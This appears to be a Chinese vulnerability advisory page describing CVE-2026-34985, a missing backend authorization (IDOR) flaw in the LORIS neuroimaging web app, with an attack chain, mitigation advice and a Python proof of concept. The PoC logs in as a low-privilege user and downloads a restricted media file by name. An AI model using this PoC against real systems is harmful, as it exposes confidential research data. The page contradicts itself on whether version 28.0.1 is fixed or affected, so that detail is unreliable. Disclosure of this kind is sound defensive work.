IPBUF安全漏洞报告
English
CVE-2026-34985 CVSS 6.3 中危

CVE-2026-34985 LORIS后端访问控制缺失漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-34985
漏洞类型
访问控制失效
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LORIS

相关标签

权限绕过IDORLORIS信息泄露访问控制失效

漏洞概述

LORIS是一个用于神经影像研究的Web应用。在16.1.0至27.0.3及28.0.1版本中,存在安全漏洞。虽然前端过滤了无权访问的文件,但后端未实施权限校验。攻击者若获知文件名,可绕过前端限制直接访问受限文件。该问题已在27.0.3和28.0.1版本中修复。

技术细节

该漏洞的根本原因在于LORIS系统在媒体模块中存在前后端验证逻辑不一致的问题。虽然前端界面会对用户可见的文件列表进行过滤,隐藏了无权访问的文件,但后端处理文件下载请求的接口未实施严格的身份验证和授权检查。当攻击者掌握了特定文件的名称或路径时,可以直接构造HTTP请求访问后端接口,绕过前端限制。由于后端默认信任请求中的文件名并直接返回文件内容,导致本应受保护的敏感数据被未授权访问。这属于典型的访问控制失效漏洞(IDOR),允许攻击者通过遍历文件名获取受限资源,严重威胁神经影像数据的机密性。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用的是受影响版本的LORIS系统。
STEP 2
获取低权限账号
攻击者注册或通过其他方式获取一个普通低权限用户账号。
STEP 3
猜测文件名
攻击者根据系统命名规则或通过其他信息泄露途径,推测敏感文件的文件名。
STEP 4
发送恶意请求
攻击者使用低权限账号的会话,直接向后端发送包含目标文件名的HTTP请求。
STEP 5
获取数据
后端因缺少访问控制检查,直接返回文件内容,导致数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) base_url = "http://target-loris-instance" login_url = f"{base_url}/login" file_url = f"{base_url}/media/files/sensitive_research_data.csv" # Attacker credentials (low privilege) credentials = { "username": "attacker", "password": "password123" } # Create a session to maintain cookies session = requests.Session() # 1. Authenticate as a low-privilege user login_response = session.post(login_url, data=credentials) if login_response.status_code == 200: print("[+] Login successful") # 2. Exploit: Request a file that should be restricted # The backend checks if the file exists, but NOT if the user has permission exploit_response = session.get(file_url) if exploit_response.status_code == 200: print("[+] Exploit successful! File content downloaded:") print(exploit_response.text) else: print("[-] Failed to access file") else: print("[-] Login failed")

影响范围

LORIS >= 16.1.0, < 27.0.3
LORIS = 28.0.1

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界(如WAF或反向代理)上实施额外的访问控制策略,限制对/media路径的请求频率和来源。同时,管理员应审计现有文件的权限设置,并对文件存储目录实施强制访问控制(MAC),确保Web服务器进程只能读取明确授权的文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表